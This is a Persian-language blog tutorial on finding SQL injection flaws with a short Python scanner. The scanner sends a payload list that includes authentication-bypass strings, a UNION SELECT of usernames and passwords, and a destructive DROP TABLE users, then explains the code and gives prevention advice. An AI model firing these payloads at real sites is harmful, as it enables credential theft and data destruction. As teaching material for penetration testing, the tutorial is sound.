0
سبد خرید خالی است.
ورود و ثبت نام
ورود و ثبت نام

نحوه شناسایی آسیب‌پذیری‌های SQL Injection با اسکریپت‌های پایتون

خواندن این مطلب

5 دقیقه

زمان میبرد!

نحوه شناسایی آسیب‌پذیری‌های SQL Injection با اسکریپت‌های پایتون

خواندن این مطلب

5 دقیقه

زمان میبرد!

SQL Injection یکی از رایج‌ترین و خطرناک‌ترین حملات در دنیای امنیت سایبری است. این نوع حمله زمانی رخ می‌دهد که مهاجم بتواند دستورات SQL را به پایگاه داده وب‌سایت تزریق کند. در این مقاله به شما آموزش می‌دهیم که چگونه یک اسکریپت پایتونی ساده طراحی کنید تا آسیب‌پذیری‌های SQL Injection را در صفحات وب شناسایی کنید.

1. SQL Injection چیست؟

SQL Injection تکنیکی است که در آن مهاجم داده‌های ورودی غیرمعتبر به پایگاه داده ارسال می‌کند تا دستورات SQL دلخواه را اجرا کند. این حملات می‌توانند منجر به:

  • دسترسی غیرمجاز به داده‌های حساس،
  • حذف یا تغییر اطلاعات،
  • دور زدن سیستم‌های احراز هویت،
  • و حتی کنترل کامل پایگاه داده شوند.

2. مقدمات شناسایی آسیب‌پذیری‌های SQL Injection

برای شناسایی این آسیب‌پذیری‌ها، ابتدا باید نقاط ورودی به پایگاه داده (مانند فیلدهای جستجو یا فرم‌های ورود) را شناسایی کنید. سپس از ورودی‌های خاص مانند کاراکترهای ' یا " استفاده کنید و رفتار سیستم را بررسی کنید.

3. تحلیل کد پایتون برای شناسایی SQL Injection

در ادامه کدی معرفی شده است که نقاط احتمالی آسیب‌پذیری را شناسایی می‌کند:

کد کامل

 

import requests

def sql_injection_test(target_url, test_param, proxy_url=None):
payloads = [
“‘ OR 1=1 –“,
“‘ OR ‘a’=’a”,
“‘; DROP TABLE users –“,
“‘ AND 1=2 UNION SELECT null, null –“,
“‘ UNION SELECT username, password FROM users –“
]

proxies = {“http”: proxy_url, “https”: proxy_url} if proxy_url else None

print(f”[+] Target URL: {target_url}”)
print(f”[+] Testing parameter: {test_param}\n”)

for payload in payloads:
print(f”[+] Testing payload: {payload}”)
params = {test_param: payload}

try:
response = requests.get(target_url, params=params, proxies=proxies)

if “syntax error” in response.text.lower() or “mysql” in response.text.lower():
print(f”[!] SQL Injection vulnerability found with payload: {payload}”)
return
else:
print(f”[-] No vulnerability detected with payload: {payload}”)
except Exception as e:
print(f”[!] Error during request: {e}”)
break

print(“[!] Testing completed. No vulnerabilities found.”)

if __name__ == “__main__”:
target_url = input(“Enter the target URL (e.g., http://example.com/search): “)
test_param = input(“Enter the parameter to test (e.g., query, id, search): “)
proxy_url = input(“Enter the proxy URL (optional, e.g., http://127.0.0.1:8080): “)

sql_injection_test(target_url, test_param, proxy_url)

توضیحات کد وارد کردن کتابخانه‌ها

توضیحات کد

وارد کردن کتابخانه‌ها
import requests

کتابخانه requests برای ارسال درخواست‌های HTTP به سرور استفاده می‌شود.

تعریف ورودی‌ها و payloadها
payloads = [
"' OR 1=1 --",
"' OR 'a'='a",
"'; DROP TABLE users --",
"' AND 1=2 UNION SELECT null, null --",
"' UNION SELECT username, password FROM users --"
]

این لیست شامل چندین رشته تزریقی (payload) است که برای تست آسیب‌پذیری‌ها به کار می‌روند.

تنظیم پروکسی
proxies = {"http": proxy_url, "https": proxy_url} if proxy_url else None

این بخش امکان استفاده از پروکسی برای ردیابی و تحلیل درخواست‌ها را فراهم می‌کند.

ارسال درخواست GET با payloadها
params = {test_param: payload}
response = requests.get(target_url, params=params, proxies=proxies)

هر payload به‌عنوان مقدار یک پارامتر به URL هدف ارسال می‌شود.

تحلیل پاسخ سرور
if "syntax error" in response.text.lower() or "mysql" in response.text.lower():
print(f"[!] SQL Injection vulnerability found with payload: {payload}")
return

این بخش پاسخ سرور را برای علائم خطاهای SQL یا اطلاعات پایگاه داده بررسی می‌کند.


4. گسترش اسکریپت برای تست پیشرفته‌تر

  1. تست POST: برای فرم‌های پیچیده‌تر که از درخواست POST استفاده می‌کنند، می‌توانید از requests.post به‌جای requests.get استفاده کنید.
  2. اضافه کردن توکن‌های CSRF: اگر وب‌سایت از توکن‌های CSRF استفاده می‌کند، باید آن‌ها را به درخواست اضافه کنید.
  3. پشتیبانی از پارامترهای چندگانه: با تغییر ساختار کد می‌توانید چندین پارامتر را به‌طور هم‌زمان تست کنید.
  4. بررسی دقیق‌تر پاسخ‌ها: از ابزارهای پیشرفته‌تر مانند regex برای تحلیل محتوای پاسخ استفاده کنید.

5. نکات امنیتی و نتیجه‌گیری

  • این اسکریپت برای افزایش دانش امنیتی و تست نفوذ طراحی شده است. استفاده غیرقانونی از آن ممنوع است.
  • برای جلوگیری از آسیب‌پذیری‌های SQL Injection در وب‌سایت خود:
    • از استفاده مستقیم از ورودی‌های کاربر در دستورات SQL اجتناب کنید.
    • از ابزارهایی مانند ORM استفاده کنید.
    • اعتبارسنجی و ضدعفونی ورودی‌های کاربر را انجام دهید.

این آموزش به شما امکان می‌دهد با مفاهیم پایه SQL Injection و نحوه شناسایی این آسیب‌پذیری‌ها با استفاده از پایتون آشنا شوید. برای امنیت بیشتر، به‌صورت مداوم وب‌سایت‌ها و برنامه‌های خود را بررسی کنید.

درباره نویسنــده
نویسنده
مبین رئیسی
نظرات کاربـــران
فاقد دیدگاه
دیدگاهی برای این مطلب ثبت نشده است. اولین دیدگاه را شما بنویسید.
ثبت دیدگاه
captcha

محصولات جدید

دوره هنر هک | HackCraft
تومان
1,970,000
هکر صفر (آموزش هک از صفر تا صد)
تومان
690,000
نتورک پلاس (گرایش هک و امنیت)
تومان
970,000

جستجو کنید ...

تبلیغات